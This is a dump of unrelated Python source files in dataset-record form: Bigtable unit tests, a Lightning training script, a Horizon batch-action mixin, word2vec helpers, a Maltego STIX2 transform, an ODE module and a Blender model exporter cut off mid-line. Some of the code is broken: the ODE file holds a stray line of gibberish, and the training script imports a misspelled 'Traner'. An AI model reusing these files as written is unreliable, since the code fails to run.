read_rows_response_pb = messages_pb2.ReadRowsResponse(row_key=row_key2)\n with self.assertRaises(ValueError):\n partial_row_data.update_from_read_rows(read_rows_response_pb)\n\n self.assertFalse(partial_row_data._chunks_encountered)\n\n def test_update_from_read_rows_empty_chunk(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n\n row_key = b'row-key'\n partial_row_data = self._makeOne(row_key)\n self.assertFalse(partial_row_data._chunks_encountered)\n\n chunk = messages_pb2.ReadRowsResponse.Chunk()\n read_rows_response_pb = messages_pb2.ReadRowsResponse(\n row_key=row_key, chunks=[chunk])\n\n # This makes it an \"empty\" chunk.\n self.assertEqual(chunk.WhichOneof('chunk'), None)\n with self.assertRaises(ValueError):\n partial_row_data.update_from_read_rows(read_rows_response_pb)\n\n self.assertFalse(partial_row_data._chunks_encountered)\n\n\nclass TestPartialRowsData(unittest2.TestCase):\n\n def _getTargetClass(self):\n from gcloud.bigtable.row_data import PartialRowsData\n return PartialRowsData\n\n def _getDoNothingClass(self):\n klass = self._getTargetClass()\n\n class FakePartialRowsData(klass):\n\n def __init__(self, *args, **kwargs):\n super(FakePartialRowsData, self).__init__(*args, **kwargs)\n self._consumed = []\n\n def consume_next(self):\n value = self._response_iterator.next()\n self._consumed.append(value)\n return value\n\n return FakePartialRowsData\n\n def _makeOne(self, *args, **kwargs):\n return self._getTargetClass()(*args, **kwargs)\n\n def test_constructor(self):\n response_iterator = object()\n partial_rows_data = self._makeOne(response_iterator)\n self.assertTrue(partial_rows_data._response_iterator\n is response_iterator)\n self.assertEqual(partial_rows_data._rows, {})\n\n def test___eq__(self):\n response_iterator = object()\n partial_rows_data1 = self._makeOne(response_iterator)\n partial_rows_data2 = self._makeOne(response_iterator)\n self.assertEqual(partial_rows_data1, partial_rows_data2)\n\n def test___eq__type_differ(self):\n partial_rows_data1 = self._makeOne(None)\n partial_rows_data2 = object()\n self.assertNotEqual(partial_rows_data1, partial_rows_data2)\n\n def test___ne__same_value(self):\n response_iterator = object()\n partial_rows_data1 = self._makeOne(response_iterator)\n partial_rows_data2 = self._makeOne(response_iterator)\n comparison_val = (partial_rows_data1 != partial_rows_data2)\n self.assertFalse(comparison_val)\n\n def test___ne__(self):\n response_iterator1 = object()\n partial_rows_data1 = self._makeOne(response_iterator1)\n response_iterator2 = object()\n partial_rows_data2 = self._makeOne(response_iterator2)\n self.assertNotEqual(partial_rows_data1, partial_rows_data2)\n\n def test_rows_getter(self):\n partial_rows_data = self._makeOne(None)\n partial_rows_data._rows = value = object()\n self.assertTrue(partial_rows_data.rows is value)\n\n def test_cancel(self):\n response_iterator = _MockCancellableIterator()\n partial_rows_data = self._makeOne(response_iterator)\n self.assertEqual(response_iterator.cancel_calls, 0)\n partial_rows_data.cancel()\n self.assertEqual(response_iterator.cancel_calls, 1)\n\n def test_consume_next(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n from gcloud.bigtable.row_data import PartialRowData\n\n row_key = b'row-key'\n value_pb = messages_pb2.ReadRowsResponse(row_key=row_key)\n response_iterator = _MockCancellableIterator(value_pb)\n partial_rows_data = self._makeOne(response_iterator)\n self.assertEqual(partial_rows_data.rows, {})\n partial_rows_data.consume_next()\n expected_rows = {row_key: PartialRowData(row_key)}\n self.assertEqual(partial_rows_data.rows, expected_rows)\n\n def test_consume_next_row_exists(self):\n from gcloud.bigtable._generated import (\n bigtable_service_messages_pb2 as messages_pb2)\n from gcloud.bigtable.row_data import PartialRowData\n\n row_key = b'row-key'\n chunk = messages_pb2.ReadRowsResponse.Chunk(commit_row=True)\n value_pb = messages_pb2.ReadRowsResponse(row_key=row_key,\n chunks=[chunk])\n response_iterator = _MockCancellableIterator(value_pb)\n partial_rows_data = self._makeOne(response_iterator)\n existing_values = PartialRowData(row_key)\n partial_rows_data._rows[row_key] = existing_values\n self.assertFalse(existing_values.committed)\n partial_rows_data.consume_next()\n self.assertTrue(existing_values.committed)\n self.assertEqual(existing_values.cells, {})\n\n def test_consume_next_empty_iter(self):\n response_iterator = _MockCancellableIterator()\n partial_rows_data = self._makeOne(response_iterator)\n with self.assertRaises(StopIteration):\n partial_rows_data.consume_next()\n\n def test_consume_all(self):\n klass = self._getDoNothingClass()\n\n value1, value2, value3 = object(), object(), object()\n response_iterator = _MockCancellableIterator(value1, value2, value3)\n partial_rows_data = klass(response_iterator)\n self.assertEqual(partial_rows_data._consumed, [])\n partial_rows_data.consume_all()\n self.assertEqual(partial_rows_data._consumed, [value1, value2, value3])\n\n def test_consume_all_with_max_loops(self):\n klass = self._getDoNothingClass()\n\n value1, value2, value3 = object(), object(), object()\n response_iterator = _MockCancellableIterator(value1, value2, value3)\n partial_rows_data = klass(response_iterator)\n self.assertEqual(partial_rows_data._consumed, [])\n partial_rows_data.consume_all(max_loops=1)\n self.assertEqual(partial_rows_data._consumed, [value1])\n # Make sure the iterator still has the remaining values.\n self.assertEqual(list(response_iterator.iter_values), [value2, value3])\n\n\nclass _MockCancellableIterator(object):\n\n cancel_calls = 0\n\n def __init__(self, *values):\n self.iter_values = iter(values)\n\n def cancel(self):\n self.cancel_calls += 1\n\n def next(self):\n return next(self.iter_values)\n","sub_path":"lib/gcloud/bigtable/test_row_data.py","file_name":"test_row_data.py","file_ext":"py","file_size_in_byte":19995,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"121846339","text":"import hydra\nimport torch\nfrom torch.utils.data import DataLoader\n\nfrom model.lightning import LightningModel\nfrom pytorch_lightning import Traner, seed_everything\nfrom pytorch_lightning.loggers import WandbLogger\n\n\n@hydra.main(config_path=\"config.yaml\")\ndef train(cfg):\n\n logger = WandbLogger(project=cfg.project_name, config=cfg) if cfg.training.log else None\n\n model = LightningModel(cfg)\n \n trainer = Trainer(\n logger=logger,\n gpus=cfg.training.gpus,\n precision=cfg.training.precision,\n auto_scale_batch_size=cfg.training.hparams.auto_scale_batch_size,\n deterministic=cfg.training.reproducability\n )\n\n if cfg.training.reproducability > 0:\n seed_everything(1000) \n\n trainer.fit(model)\n \n\nif __name__ == \"__main__\":\n train()","sub_path":"src/run/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":799,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"83375993","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2012 Nebula, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport logging\nfrom horizon import exceptions\nfrom horizon import messages\nfrom horizon.utils import functions\nfrom django.utils.translation import ugettext_lazy as _\nfrom django import shortcuts\nLOG = logging.getLogger(__name__)\n\nclass BatchActionMixin(object):\n def handle(self, table, request, obj_ids):\n action_success = []\n action_failure = []\n action_not_allowed = []\n for datum_id in obj_ids:\n datum = table.get_object_by_id(datum_id)\n datum_display = table.get_object_display(datum) or _(\"N/A\")\n if not table._filter_action(self, request, datum):\n action_not_allowed.append(datum_display)\n LOG.info('Permission denied to %s: \"%s\"' %\n (self._get_action_name(past=True).lower(),\n datum_display))\n continue\n try:\n self.action(request, datum_id)\n #Call update to invoke changes if needed\n self.update(request, datum)\n action_success.append(datum_display)\n self.success_ids.append(datum_id)\n LOG.info('%s: \"%s\"' %\n (self._get_action_name(past=True), datum_display))\n except Exception as ex:\n # Handle the exception but silence it since we'll display\n # an aggregate error message later. Otherwise we'd get\n # multiple error messages displayed to the user.\n if getattr(ex, \"_safe_message\", None):\n ignore = False\n else:\n ignore = True\n action_failure.append(datum_display)\n exceptions.handle(request, ignore=ignore)\n\n # Begin with success message class, downgrade to info if problems.\n success_message_level = messages.success\n if action_not_allowed:\n msg = 'You are not allowed to %(action)s: %(objs)s'\n params = {\"action\":\n self._get_action_name(action_not_allowed).lower(),\n \"objs\": functions.lazy_join(\", \", action_not_allowed)}\n messages.error(request, msg % params)\n success_message_level = messages.info\n if action_failure:\n msg = _('Unable to %(action)s: %(objs)s')\n params = {\"action\": self._get_action_name(action_failure).lower(),\n \"objs\": functions.lazy_join(\", \", action_failure)}\n messages.error(request, msg % params)\n success_message_level = messages.info\n if action_success:\n msg = _('%(action)s: %(objs)s')\n params = {\"action\":\n self._get_action_name(action_success, past=True),\n \"objs\": functions.lazy_join(\", \", action_success)}\n success_message_level(request, msg % params)\n\n return shortcuts.redirect(self.get_success_url(request))\n \n","sub_path":"source/vsm-dashboard/vsm_dashboard/common/horizon/tables/mixin.py","file_name":"mixin.py","file_ext":"py","file_size_in_byte":3620,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"163522129","text":"\"\"\"\nThis module provides some helper functions\\\nto fetch data from an dsebaseapp instance to create word embeddings\nrun something like:\nfrom enrich.spacy_utils.vecs import stream_docs_to_file, create_word_vecs\ndomain = \"http://127.0.0.1:8080\"\napp_name = \"akademie\"\nfilename = stream_docs_to_file(domain, app_name, verbose=False)\ncreate_word_vecs(filename)\n\"\"\"\n\nfrom gensim.models import Word2Vec\nfrom gensim.utils import simple_preprocess\n\n\ndef read_input(input_file):\n \"\"\" yields preprocessed lines read from a file (document per line)\n :input_file: Name of the file to process\n :return: yields processed lines of file\n \"\"\"\n\n with open(input_file, encoding=\"utf-8\") as f:\n for line in f:\n yield simple_preprocess(line)\n\n\ndef create_word_vecs(input_file, size=300, window=5, min_count=2, workers=4):\n \"\"\" creates word embeddings\n :input_file: Name of the file to process\n :size: The number of dimensions of the embedding\n :window: The maximum distance between a target word and words around the target word.\n :min_count: The minimum count of words to consider when training the models\n :workers: The number of threads to use while training.\n \"\"\"\n documents = read_input(input_file)\n model = Word2Vec(\n [x for x in documents],\n size=size, window=window, min_count=min_count, workers=workers\n )\n model_file_name = \"{}.word2vec.model\".format(input_file)\n model.wv.save_word2vec_format(model_file_name)\n return model_file_name\n","sub_path":"spacytei/vecs.py","file_name":"vecs.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"416903795","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport argparse\nfrom maltego_trx.maltego import *\nfrom maltego_trx.entities import *\nfrom entities import *\nfrom config import local_execution_path, python_path\nfrom utils import sanitize\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Run Maltego-STIX2 transforms\")\n parser.add_argument(\n \"--transform\", dest=\"transformName\", type=str, help=\"The transform to run\"\n )\n\n args, unknown = parser.parse_known_args()\n\n # print(unknown)\n\n if len(unknown) > 0:\n # Create Maltego transgorm object\n transform = MaltegoTransform()\n\n # Parse Maltego input parameters\n client_msg = MaltegoMsg(LocalArgs=unknown)\n\n # Extract input entity parameters\n input_value = client_msg.Value\n input_id = (\n client_msg.getProperty(\"id\") if client_msg.getProperty(\"id\") else None\n )\n input_type = (\n client_msg.getProperty(\"type\") if client_msg.getProperty(\"type\") else None\n )\n input_name = (\n client_msg.getProperty(\"name\") if client_msg.getProperty(\"name\") else None\n )\n\n if \"convert\" in args.transformName:\n property_name = args.transformName.split(\"-\")[1]\n if property_name == \"hash\":\n entity = transform.addEntity(File, sanitize(input_value, True))\n entity.addProperty(\n fieldName=\"hashes\", value=[sanitize(input_value, True)]\n )\n elif \"explode\" in args.transformName:\n property_name = args.transformName.split(\"-\")[1]\n entity_type = Phrase\n maltego_property = None\n if property_name == \"aliases\":\n entity_type = Alias\n if property_name == \"created_by_ref\":\n entity_type = Identity\n maltego_property = \"id\"\n if property_name == \"hashes\":\n entity_type = \"maltego.Hash\"\n property_str = (\n client_msg.getProperty(property_name)\n if client_msg.getProperty(property_name)\n else None\n )\n if property_str and len(property_str) > 0:\n # STR to LST allowing several formats\n property_str = property_str.replace(\n '\", \"', \"','\"\n ) # quote {\"} separator {, }\n property_str = property_str.replace(\n '\",\"', \"','\"\n ) # quote {\"} separator {,}\n property_str = property_str.replace(\n \"', '\", \"','\"\n ) # quote {'} separator {, }\n # Clean begining of the list\n if property_str.startswith(\"[\"):\n property_str = property_str[1:]\n if property_str.startswith(\"'\"):\n property_str = property_str[1:]\n if property_str.startswith('\"'):\n property_str = property_str[1:]\n # Clean end of the list\n if property_str.endswith(\"]\"):\n property_str = property_str[:-1]\n if property_str.endswith(\"'\"):\n property_str = property_str[:-1]\n if property_str.endswith('\"'):\n property_str = property_str[:-1]\n property_lst = property_str.split(\"','\")\n\n for value in property_lst:\n if len(value) > 0:\n entity = transform.addEntity(entity_type, sanitize(value, True))\n if maltego_property:\n entity.addProperty(\n fieldName=maltego_property, value=sanitize(value, True)\n )\n\n # Output Maltego XML result\n print(transform.returnOutput())\n","sub_path":"src/transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"422349976","text":"# first.py\n# first-order linear ODE\n# Dec. 2017 by Kenji Doya\n\nimport numpy as np\n\n# Right-hand-side function of the ODE\ndef dynamics(y, t, a, b):\n \"\"\"first-order linear ODE: dy/dt = a*y + b\"\"\"\n return(a*y + b)\nl;qiwjr;lqiw3jq;li3j\n# Name of the system\nname = 'first'\n\n# A standard initial state\ninitial_state = 1\n\n# Default parameters\nparameters = (-0.1, 0)\n\n# For adding to the system list\nname_state_parameters = [name, initial_state, parameters]\n","sub_path":"first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"354431823","text":"from src.model.pandas_df import PandasDF\nfrom src.model.classifier import Classifier\nfrom common_config import EXTRACCION_IT\nfrom src.helper.general_helper import get_logger\nimport pandas as pd\n\n\nclass Orquestador(object):\n _pandas_df = None\n _classifier = None\n _logger = None\n\n def __init__(self, **kw):\n self._logger = get_logger() if not kw.get('logger') else kw.get('logger')\n self._logger.info(\"Inicializado {}\".format(__class__.__name__))\n if isinstance(kw.get('pandas_instance'), PandasDF) and isinstance(kw.get('classifier_instance'), Classifier):\n self._pandas_df = kw.get('pandas_instance')\n self._classifier = kw.get('classifier_instance')\n self.panda_ds.src = EXTRACCION_IT if not kw.get('src', None) else kw.get('src')\n self.do_pandas_job()\n self.do_classifier_job()\n\n def do_pandas_job(self):\n try:\n self.panda_ds.load_data(describ_columns=True)\n self.panda_ds.prepare_label_data()\n except Exception as e:\n self._logger.error(\"Exception at do_pandas_job-> {} -> {}\".format(__class__.__name__, e))\n\n def do_classifier_job(self):\n\n try:\n if isinstance(self.panda_ds.df, pd.DataFrame):\n self._logger.info(\"{} -> do_classifier_job\".format(__class__.__name__))\n self.classifier.df = self.panda_ds.df\n self.classifier.show_graph_it_distribution()\n self.classifier.get_features_and_labels()\n self.classifier.train_test_split()\n self.classifier.show_linear_svc(self.panda_ds.category_id_df)\n\n except Exception as e:\n self._logger.error(\" Excecption -> {} {}\".format(__class__.__name__, e))\n\n @property\n def panda_ds(self):\n return self._pandas_df\n\n @panda_ds.setter\n def panda_ds(self, value):\n if value and isinstance(value, PandasDF):\n self._panda_ds = value\n\n @property\n def classifier(self):\n return self._classifier\n\n @classifier.setter\n def classifier(self, value):\n if value and isinstance(value, Classifier):\n self._classifier = value\n","sub_path":"src/controller/orquestador.py","file_name":"orquestador.py","file_ext":"py","file_size_in_byte":2191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"86504452","text":"import os\nimport zlib\nimport math\nimport json\nfrom typing import Tuple, List, Dict\n\nimport bpy\nimport bpy.types\nfrom bpy_extras.io_utils import ExportHelper\nfrom bpy.props import StringProperty, BoolProperty, EnumProperty\nfrom bpy.types import Operator\n\n\nfrom . import datastruct as dat\nfrom . import byteutils as byt\n\n\nbl_info = {\n \"name\" : \"Dalbaragi Model Exporter\",\n \"author\" : \"Sungmin Woo\",\n \"version\" : (1, 0, 0),\n \"blender\" : (2, 80, 0),\n \"location\" : \"File > Export > Dalbaragi Model (.dmd)\",\n \"description\": \"Export a model file for Dalbargi engine.\",\n \"warning\" : \"Under development.\",\n \"wiki_url\" : \"\",\n \"category\" : \"Import-Export\",\n \"tracker_url\": \"\"\n}\n\n\ndef _fixVecRotations(x: float, y: float, z: float) -> Tuple[float, float, float]:\n return float(x), float(z), -float(y)\n\ndef _normalizeVec3(x: float, y: float, z: float):\n length = math.sqrt( x*x + y*y + z*z )\n return x/length, y/length, z/length\n\n\nclass AnimationParser:\n @classmethod\n def parseSkeleton(cls):\n numArma = len(bpy.data.armatures)\n if 0 == numArma:\n return dat.SkeletonInterface()\n elif numArma > 1:\n raise RuntimeError(\"Multiple armatures.\")\n\n skeleton = dat.SkeletonInterface()\n\n armature: bpy.types.Armature = bpy.data.armatures[0]\n rootBone = cls.__findRootBone(armature.bones)\n\n index = skeleton.makeIndexOf(rootBone.name)\n boneInfo = skeleton[index]\n boneInfo.m_parentName = \"\"\n\n boneInfo.m_offsetMat.set(rootBone.matrix_local)\n\n cls.__parseSkelRecur(rootBone, skeleton)\n return skeleton\n\n @classmethod\n def __parseSkelRecur(cls, bone: bpy.types.Bone, skeleton: dat.SkeletonInterface) -> None:\n for child in bone.children:\n index = skeleton.makeIndexOf(child.name)\n boneInfo = skeleton[index]\n boneInfo.m_parentName = bone.name\n\n #rot = mathutils.Matrix.Rotation(math.radians(-90.0), 4, 'X')\n boneInfo.m_offsetMat.set(child.matrix_local)\n\n cls.__parseSkelRecur(child, skeleton)\n\n @classmethod\n def __findRootBone(cls, bones):\n root = None\n\n for bone in bones:\n if bone.parent is None:\n if root is None:\n root = bone\n else:\n raise ValueError(\"There are two root bone: {}, {}\".format(root.name, bone.name))\n\n if root is None:\n raise ValueError(\"Failed to find a root bone\")\n\n return root\n\n\n class AnimInfoVar:\n def __init__(self):\n self.__data = {}\n\n def add(self, channel: int, timepoint: float, value: float) -> None:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n\n if timepoint not in self.__data.keys():\n self.__data[timepoint] = {}\n self.__data[timepoint][channel] = float(value)\n\n def get(self, timepoint: float, channel: int) -> float:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n\n return self.__data[timepoint][channel]\n\n def getExtended(self, timepoint: float, channel: int) -> float:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n\n try:\n return self.__data[timepoint][channel]\n except KeyError:\n requestedOrder = self.__timepointToOrder(timepoint)\n prevOrder = requestedOrder - 1\n if prevOrder < 0:\n raise RuntimeError(\"First keyframe need all its channels with a value.\")\n prevTimepoint = self.__orderToTimepoint(prevOrder)\n return self.get(prevTimepoint, channel)\n\n def iterTimepoints(self) -> iter:\n return iter(self.__getSortedTimepoints())\n\n def __getSortedTimepoints(self) -> List[float]:\n timepoints = list(self.__data.keys())\n timepoints.sort()\n return timepoints\n\n def __orderToTimepoint(self, order: int) -> float:\n assert isinstance(order, int)\n assert order >= 0\n return self.__getSortedTimepoints()[order]\n\n def __timepointToOrder(self, timepoint: float) -> int:\n assert isinstance(timepoint, float)\n return self.__getSortedTimepoints().index(timepoint)\n\n class BoneAnimInfo:\n def __init__(self):\n self.__data = {} # dict< var name, dict< time, dict > >\n\n def __getitem__(self, key) -> \"AnimationParser.AnimInfoVar\":\n return self.__data[key]\n\n def add(self, varName: str, channel: int, timepoint: float, value: float) -> None:\n assert isinstance(channel, int)\n assert isinstance(timepoint, float)\n assert isinstance(varName, str)\n\n if varName not in self.__data.keys():\n self.__data[varName] = AnimationParser.AnimInfoVar()\n self.__data[varName].add(channel, timepoint, value)\n\n def items(self):\n return self.__data.items()\n\n class BoneDict:\n def __init__(self):\n self.__bones: Dict[ str, AnimationParser.BoneAnimInfo ] = {}\n\n def __str__(self):\n return str(self.__bones)\n\n def __getitem__(self, boneName: str) -> \"AnimationParser.BoneAnimInfo\":\n try:\n return self.__bones[boneName]\n except KeyError:\n self.__bones[boneName] = AnimationParser.BoneAnimInfo()\n return self.__bones[boneName]\n\n def items(self):\n return self.__bones.items()\n\n def print(self):\n for name, info in self.__bones.items():\n print(name)\n for varName, data in info.items():\n print(\"\\t\", varName)\n for x in data.items():\n print(\"\\t\\t\", x)\n\n\n @classmethod\n def parseActions(cls, skeleton: dat.SkeletonInterface) -> List[dat.Animation]:\n animations = []\n\n for action in bpy.data.actions:\n action: bpy.types.Action\n anim = dat.Animation(action.name, skeleton)\n anim.m_tickPerSec = bpy.context.scene.render.fps\n\n bonedict: AnimationParser.BoneDict = cls.__makeBoneDict(action)\n\n for joint in anim.m_joints:\n joint: dat.JointAnim\n\n boneInfo : AnimationParser.BoneAnimInfo = bonedict[joint.m_name]\n\n try:\n poses: AnimationParser.AnimInfoVar = boneInfo[\"location\"]\n except KeyError:\n pass\n else:\n for tp in poses.iterTimepoints():\n x = poses.get(tp, 0)\n y = poses.get(tp, 1)\n z = poses.get(tp, 2)\n joint.addPos(tp, x, y, z)\n\n try:\n rotations: AnimationParser.AnimInfoVar = boneInfo[\"rotation_quaternion\"]\n except KeyError:\n pass\n else:\n for tp in rotations.iterTimepoints():\n # It always confuses me.\n w = rotations.get(tp, 0)\n x = rotations.get(tp, 1)\n y = rotations.get(tp, 2)\n z = rotations.get(tp, 3)\n joint.addRotation(tp, x, y, z, w)\n\n try:\n scales: AnimationParser.AnimInfoVar = boneInfo[\"scale\"]\n except KeyError:\n pass\n else:\n for tp in scales.iterTimepoints():\n x = scales.get(tp, 0)\n y = scales.get(tp, 1)\n z = scales.get(tp, 2)\n averageScale = (x + y + z) / 3\n joint.addScale(tp, averageScale)\n\n animations.append(anim)\n\n return animations\n\n @classmethod\n def __makeBoneDict(cls, action) -> BoneDict:\n bones = cls.BoneDict()\n\n for fcu in action.fcurves:\n boneName, varName = cls.__splitFcuDataPath(fcu.data_path)\n channel = fcu.array_index\n bone: AnimationParser.BoneAnimInfo = bones[boneName]\n for keyframe in fcu.keyframe_points:\n bone.add(varName, channel, keyframe.co[0], keyframe.co[1])\n\n return bones\n\n @staticmethod\n def __splitFcuDataPath(path: str):\n pass1 = path.split('\"')\n boneName = pass1[1]\n\n pass2 = pass1[2].split(\".\")\n varName = pass2[-1]\n\n return boneName, varName\n\n\nclass MaterialParser:\n @classmethod\n def parse(cls, blenderMat):\n bsdf = cls.__findPrincipledBSDFNode(blenderMat.node_tree.nodes)\n if bsdf is None:\n raise ValueError(\"Only Principled BSDF node is supported.\")\n\n material = dat.Material()\n\n node_baseColor = bsdf.inputs[\"Base Color\"]\n node_metallic = bsdf.inputs[\"Metallic\"]\n node_roughness = bsdf.inputs[\"Roughness\"]\n\n material.m_roughness = node_roughness.default_value\n material.m_metallic = node_metallic.default_value\n\n imageNode = cls.__findImageNodeRecur(node_baseColor)\n if imageNode is not None:\n material.m_diffuseMap = imageNode.image.name\n else:\n raise ValueError(\"Diffuse map must be defined.\")\n\n imageNode = cls.__findImageNodeRecur(node_metallic)\n if imageNode is not None:\n material.m_metallicMap = imageNode.image.name\n\n imageNode = cls.__findImageNodeRecur(node_roughness)\n if imageNode is not None:\n material.m_roughnessMap = imageNode.image.name\n\n return material\n\n @staticmethod\n def __findPrincipledBSDFNode(nodes):\n for node in nodes:\n if \"ShaderNodeBsdfPrincipled\" == node.bl_idname:\n return node\n return None\n\n @classmethod\n def __findImageNodeRecur(cls, parentNode):\n if hasattr(parentNode, \"links\"):\n for linked in parentNode.links:\n node = linked.from_node\n if \"ShaderNodeTexImage\" == node.bl_idname:\n return node\n else:\n res = cls.__findImageNodeRecur(node)\n if res is not None:\n return res\n if hasattr(parentNode, \"inputs\"):\n for nodeinput in parentNode.inputs:\n res = cls.__findImageNodeRecur(nodeinput)\n if res is not None:\n return res\n \n return None\n\n\nclass ModelBuilder:\n def __init__(self, removeUselessJoints: bool):\n self.__skeleton = AnimationParser.parseSkeleton()\n self.__animations = AnimationParser.parseActions(self.__skeleton)\n\n if removeUselessJoints:\n uselesses = None\n for anim in self.__animations:\n anim.cleanUp()\n animUselesses = anim.getSetOfNamesOfUselesses()\n if uselesses is None:\n uselesses = animUselesses\n else:\n uselesses = uselesses.intersection(animUselesses)\n\n jointIndexMap = self.__skeleton.removeJoints(uselesses)\n\n for anim in self.__animations:\n anim.removeJoints(uselesses)\n assert anim.isMatchWith(self.__skeleton)\n else:\n jointIndexMap = self.__skeleton.makeIndexMap()\n\n self.__units, self.__aabb = self.__parseRenderUnits(jointIndexMap)\n\n def makeBinary(self) -> bytearray:\n if len(self.__skeleton) > 30:\n raise RuntimeError(\"The number of joints ({}) cannot exceed 30.\".format(len(self.__skeleton)))\n\n data = bytearray()\n\n data += self.__aabb.makeBinary()\n data += self.__skeleton.makeBinary()\n\n data += byt.to_int32(len(self.__animations))\n for anim in self.__animations:\n data += anim.makeBinary()\n\n data += byt.to_int32(len(self.__units))\n for unit in self.__units:\n unit: dat.RenderUnit\n data += unit.makeBinary()\n\n return data\n\n def makeJson(self) -> dict:\n return {\n \"aabb\" : self.__aabb.makeJson(),\n \"render units size\" : len(self.__units),\n \"render units\" : [x.makeJson() for x in self.__units],\n \"skeleton interface\" : self.__skeleton.makeJson(),\n \"animations\" : [x.makeJson() for x in self.__animations],\n }\n\n def getImgNames(self):\n imgNames = set()\n\n for unit in self.__units:\n imgNames.add(unit.m_material.m_diffuseMap)\n imgNames.add(unit.m_material.m_roughnessMap)\n imgNames.add(unit.m_material.m_metallicMap)\n\n imgNames.remove(\"\")\n\n return imgNames\n\n @staticmethod\n def __parseRenderUnits(skeleton: Dict[str, int]):\n units = []\n aabb = dat.AABB()\n\n for obj in bpy.context.scene.objects:\n if not hasattr(obj.data, \"polygons\"): continue\n assert 1 == len(obj.data.materials)\n\n unit = dat.RenderUnit(obj.name)\n unit.m_material = MaterialParser.parse(obj.data.materials[0])\n\n for face in obj.data.polygons:\n lenVert = len(face.vertices)\n assert len(face.loop_indices) == lenVert\n if 3 == lenVert:\n vertIndices = (0, 1, 2)\n elif 4 == lenVert:\n vertIndices = (0, 1, 2, 0, 2, 3)\n else:\n raise NotImplementedError(\"Loop with {} vertices is not supported!\".format(lenVert))\n\n for i in vertIndices:\n vert: int = face.vertices[i]\n loop: int = face.loop_indices[i]\n\n vertex = obj.data.vertices[vert].co\n texcoord = (obj.data.uv_layers.active.data[loop].uv if obj.data.uv_layers.active is not None else (0.0, 0.0))\n if face.use_smooth:\n normal = obj.data.vertices[vert].normal\n else:\n normal = face.normal\n\n vertex: Tuple[float, float, float] = _fixVecRotations(vertex[0], vertex[1], vertex[2])\n normal: Tuple[float, float, float] = _fixVecRotations(normal[0], normal[1], normal[2])\n normal: Tuple[float, float, float] = _normalizeVec3(normal[0], normal[1], normal[2])\n\n boneWeightAndID = [(0, -1), (0, -1), (0, -1)]\n for g in obj.data.vertices[vert].groups:\n groupName = str(obj.vertex_groups[g.group].name)\n try:\n boneIndex = skeleton[groupName]\n except RuntimeError:\n continue\n else:\n boneWeightAndID.append((float(g.weight), boneIndex))\n boneWeightAndID.sort(reverse=True)\n\n unit.m_mesh.addVertex(\n vertex[0], vertex[1], vertex[2],\n texcoord[0], texcoord[1],\n normal[0], normal[1], normal[2],\n boneWeightAndID[0][1], boneWeightAndID[1][1], boneWeightAndID[2][1],\n boneWeightAndID[0][0], boneWeightAndID[1][0], boneWeightAndID[2][0],\n )\n\n aabb.resizeToContain(vertex[0], vertex[1], vertex[2])\n\n units.append(unit)\n\n return units, aabb\n\n\nclass EmportDalModel(Operator, ExportHelper):\n \"\"\"Export binary map file for Dalbargi engine.\"\"\"\n\n bl_idname = \"export_model.dmd\"\n bl_label = \"Export DMD\"\n\n filename_ext = \".dmd\"\n\n filter_glob = StringProperty(\n default = \"*.dmd\",\n options = {'HIDDEN'},\n maxlen = 255, # Max internal buffer length, longer would be clamped.\n )\n\n optionBool_copyImages = BoolProperty(\n name = \"Copy textures\",\n description = \"Copy textures to same path as exported model file.\",\n default = False,\n )\n\n optionBool_createReadable = BoolProperty(\n name = \"Create readable file\",\n description = \"Create a txt file that contains model info.\",\n default = False,\n )\n\n optionBool_removeUselessJoints = BoolProperty(\n name = \"Remove useless joints\",\n description = \"Remove all the joints without keyframes.\",\n default = False,\n )\n\n \"\"\"\n enum_example = EnumProperty(\n name = \"Example Enum\",\n description = \"Choose between two items\",\n items = (\n ('OPT_A', \"First Option\", \"Description one\"),\n ('OPT_B', \"Second Option\", \"Description two\"),\n ),\n default = 'OPT_A',\n )\n \"\"\"\n\n def execute(self, context):\n model = ModelBuilder(self.optionBool_removeUselessJoints)\n\n if self.optionBool_createReadable:\n readablePath = os.path.splitext(self.filepath)[0] + \".txt\"\n readableContent = model.makeJson()\n with open(readablePath, \"w\", encoding=\"utf8\") as file:\n json.dump(readableContent, file, indent=4, sort_keys=False)\n\n binData = model.makeBinary()\n fullSize = len(binData)\n finalBin = byt.to_int32(fullSize) + zlib.compress(binData, zlib.Z_BEST_COMPRESSION)\n with open(self.filepath, \"wb\") as file:\n file.write(finalBin)\n\n if self.optionBool_copyImages:\n imgNames = model.getImgNames()\n saveFol = os.path.split(self.filepath)[0].replace(\"\\\\\", \"/\")\n for name in imgNames:\n image = bpy.data.images[name]\n dstPath = saveFol + \"/\" + name\n image.save_render(dstPath)\n\n return {'FINISHED'}\n\n\ndef menu_func_export(self, context):\n # Only needed if you want to add into a dynamic menu\n self.layout.operator(EmportDalModel.bl_idname, 